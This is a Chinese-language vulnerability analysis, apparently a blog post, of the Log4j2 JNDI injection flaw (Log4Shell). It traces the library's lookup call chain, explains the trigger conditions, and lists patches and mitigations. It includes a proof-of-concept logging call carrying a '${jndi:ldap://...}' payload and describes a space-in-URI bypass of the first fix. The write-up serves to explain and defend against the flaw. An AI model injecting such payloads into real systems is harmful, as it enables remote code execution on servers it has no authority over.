Log4j2 的 Lookups 是一项功能强大的功能,用于在日志记录过程中动态获取和替换属性值。
通过 Lookups,可以引用环境变量、系统属性、配置文件中定义的属性等,以在日志消息中动态插入相关的值。
前沿
Lookups 使用 ${} 语法来引用属性,${} 中的内容可以是环境变量、系统属性、配置文件中的属性或其他支持的查找类型。
例如,${env:USER} 引用环境变量 USER 的值,${java:version} 引用 Java 运行时的版本。
除了配置文件,Log4j2 还允许在任何地方使用约定格式来获取环境中的指定配置信息。这个设定是导致漏洞的原因之一。
在 Lookups 中,可以使用如下配置帮助开发。
其中最为关键的则是 JNDI,是漏洞的直接导火索。
漏洞简介
漏洞适用版本为 2.0 <= Apache Log4j2 <= 2.14.1,只需引入 log4j-api、log4j-core 两个 JAR。
入口函数为 logIfEnabled,debug、info、warn、error、fatal 等均会触发。
漏洞分析
配置
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.13.3</version> </dependency>
|
代码。
1 2 3 4 5 6 7 8 9 10 11 12
| import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class log4jRCE { private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:14514/test}"); } }
|
调用链
快进到 MessagePatternConverter#format,该方法对日志内容进行解析和格式化,并返回最终格式化的内容,第 16 行判断包含 ${ 的字符的时候,进入 if 判断,然后在 19 行进入 replace 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null; final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final StringBuilderFormattable stringBuilderFormattable = (StringBuilderFormattable) msg; final int offset = workingBuilder.length(); stringBuilderFormattable.formatTo(workingBuilder);
if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return; } }
|
StrSubstitutor#replace
StrSubstitutor#replace 在第 7 行调用了 substitute 方法。
1 2 3 4 5 6 7 8 9 10 11
| public String replace(final LogEvent event, final String source) { if (source == null) { return null; } final StringBuilder buf = new StringBuilder(source); if (!substitute(event, buf, 0, source.length())) { return source; } return buf.toString(); }
|
StrSubstitutor#substitute
StrSubstitutor#substitute 中分别定义了 prefixMatcher、suffixMatcher 和 valueDelimiterMatcher。
第 17 行 startMatchLen 使用 prefixMatcher 匹配到 ${。
第 44 行 endMatchLen 使用 suffixMatcher 匹配到 }。
然后 50 行提取头尾中间的值赋给 varNameExpr,59 行赋值给 varName。
最后在 90 行调用 resolveVariable 方法解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { final StrMatcher prefixMatcher = getVariablePrefixMatcher(); final StrMatcher suffixMatcher = getVariableSuffixMatcher(); final char escape = getEscapeChar(); final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher(); final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();
final boolean top = priorVariables == null; boolean altered = false; int lengthChange = 0; char[] chars = getChars(buf); int bufEnd = offset + length; int pos = offset; while (pos < bufEnd) { final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); if (startMatchLen == 0) { pos++; } else { if (pos > offset && chars[pos - 1] == escape) { buf.deleteCharAt(pos - 1); chars = getChars(buf); lengthChange--; altered = true; bufEnd--; } else { final int startPos = pos; pos += startMatchLen; int endMatchLen = 0; int nestedVarCount = 0; while (pos < bufEnd) { if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) { nestedVarCount++; pos += endMatchLen; continue; }
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd); if (endMatchLen == 0) { pos++; } else { if (nestedVarCount == 0) { String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); if (substitutionInVariablesEnabled) { final StringBuilder bufName = new StringBuilder(varNameExpr); substitute(event, bufName, 0, bufName.length()); varNameExpr = bufName.toString(); } pos += endMatchLen; final int endPos = pos;
String varName = varNameExpr; String varDefaultValue = null;
if (valueDelimiterMatcher != null) { final char [] varNameExprChars = varNameExpr.toCharArray(); int valueDelimiterMatchLen = 0; for (int i = 0; i < varNameExprChars.length; i++) { if (!substitutionInVariablesEnabled && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) { break; } if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) { varName = varNameExpr.substring(0, i); varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen); break; } } }
if (priorVariables == null) { priorVariables = new ArrayList<>(); priorVariables.add(new String(chars, offset, length + lengthChange)); }
checkCyclicSubstitution(varName, priorVariables); priorVariables.add(varName);
String varValue = resolveVariable(event, varName, buf, startPos, endPos); } } } } } } }
|
StrSubstitutor#resolveVariable
StrSubstitutor#resolveVariable 中调用 Interpolator#lookup 功能。
1 2 3 4 5 6 7 8 9
| protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } return resolver.lookup(event, variableName); }
|
Interpolator#lookup
Interpolator#lookup 在第 7 行以 : 为标记取 prefix,对于 jndi:ldap://127.0.0.1:14514/test 来说,此处的 prefix 为 jndi,name 为 ldap://127.0.0.1:14514/test。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public String lookup(final LogEvent event, String var) { if (var == null) { return null; }
final int prefixPos = var.indexOf(PREFIX_SEPARATOR); if (prefixPos >= 0) { final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); final String name = var.substring(prefixPos + 1); final StrLookup lookup = lookups.get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware) lookup).setConfiguration(configuration); } String value = null; if (lookup != null) { value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); }
if (value != null) { return value; } var = var.substring(prefixPos + 1); } if (defaultLookup != null) { return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var); } return null; }
|
然后在第 11 行获取 StrLookup,在第 17 行调用 lookup 方法,得以调用 JndiLookup#lookup。
JndiLookup#lookup
JndiLookup#lookup 调用 JndiManager#lookup,最后到 context#lookup 完成 JNDI 注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public String lookup(final LogEvent event, final String key) { if (key == null) { return null; } final String jndiName = convertJndiName(key); try (final JndiManager jndiManager = JndiManager.getDefaultManager()) { final Object value = jndiManager.lookup(jndiName); return value == null ? null : String.valueOf(value); } catch (final NamingException e) { LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e); return null; } }
|
触发条件
Log4j2 有日志优先级,每个优先级对应一个数值 intLevel 记录在 StandardLevel 这个枚举类型中,数值越小优先级越高。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public enum StandardLevel {
OFF(0),
FATAL(100),
ERROR(200),
WARN(300),
INFO(400),
DEBUG(500),
TRACE(600),
ALL(Integer.MAX_VALUE); }
|
从 log.error 开始看,进入 AbstractLogger#logIfEnabled。
1 2 3 4
| public void error(final String message) { logIfEnabled(FQCN, Level.ERROR, null, message, (Throwable) null); }
|
AbstractLogger#logIfEnabled 判断 isEnabled,才会进入 logMessage。
1 2 3 4 5 6 7
| public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable t) { if (isEnabled(level, marker, message, t)) { logMessage(fqcn, level, marker, message, t); } }
|
Logger#isEnabled 调用日志过滤器。
1 2 3 4
| public boolean isEnabled(final Level level, final Marker marker, final String message, final Throwable t) { return privateConfig.filter(level, marker, message, t); }
|
Logger$PrivateConfig#filter 的第 10 行,比较了 intLevel 的值,默认是 200,小于等于才可以返回 True,即只有 FATAL 和 ERROR 可以触发漏洞。
1 2 3 4 5 6 7 8 9 10 11
| boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) { final Filter filter = config.getFilter(); if (filter != null) { final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t); if (r != Filter.Result.NEUTRAL) { return r == Filter.Result.ACCEPT; } } return level != null && intLevel >= level.intLevel(); }
|
当然可以修改默认的 level,这里在第 9 行处改为 info,即小于等于 400 即可触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>
|
漏洞修复
2.15.0-rc1
在 2.15.0-rc1 的更新中,移除了从 Properties 中获取 Lookup 配置的选项,并修改判断逻辑,默认不开启 Lookup 功能。
并在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 Lookup 功能时才会使用 LookupMessagePatternConverter 来替换。
在默认情况下,将使用 SimpleMessagePatternConverter 进行消息的格式化处理,不会解析其中的 ${} 关键字。
第二个关键位置是 JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext,而是使用子类 InitialDirContext,并为其添加白名单 JNDI 协议、白名单主机名、白名单类名。
并在关键的 Lookup 函数中加入了校验判断,但是由于校验逻辑有误,程序在 catch 住异常后没有 return,导致可以利用 URISyntaxException 异常来绕过校验,直接走到后面的 Lookup。例如在 URI 中插入空格,即可触发漏洞。
虽然此处绕过了校验,但由于默认 Lookup 配置为关闭,需要开启才能触发漏洞,所以危害较低。
2.15.0-rc2
在 rc1 更新被绕过后,官方发布了 rc2,代码如下,可以看到是在 catch 里添加了 return,修复了 rc1 的绕过。
2.16.0-rc1
更新,版本号 2.16-rc1,通过两个版本的对比可以看出,官方移除了 MessagePatternConverter 的内部实现类 LookupMessagePatternConverter,并删除了相关调用代码。
生产环境修复
前两项在 2.10.2 以下无效。
升级 Log4j 版本 到 2.15.0-rc2
设置 JVM 参数:-Dlog4j2.formatMsgNoLookups=true
设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
删除 JndiLookup:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class,重启服务
JDK 升级到 11.0.1/8u191/7u201/6u211。
禁用 JNDI。
REFER
浅谈 Log4j2 漏洞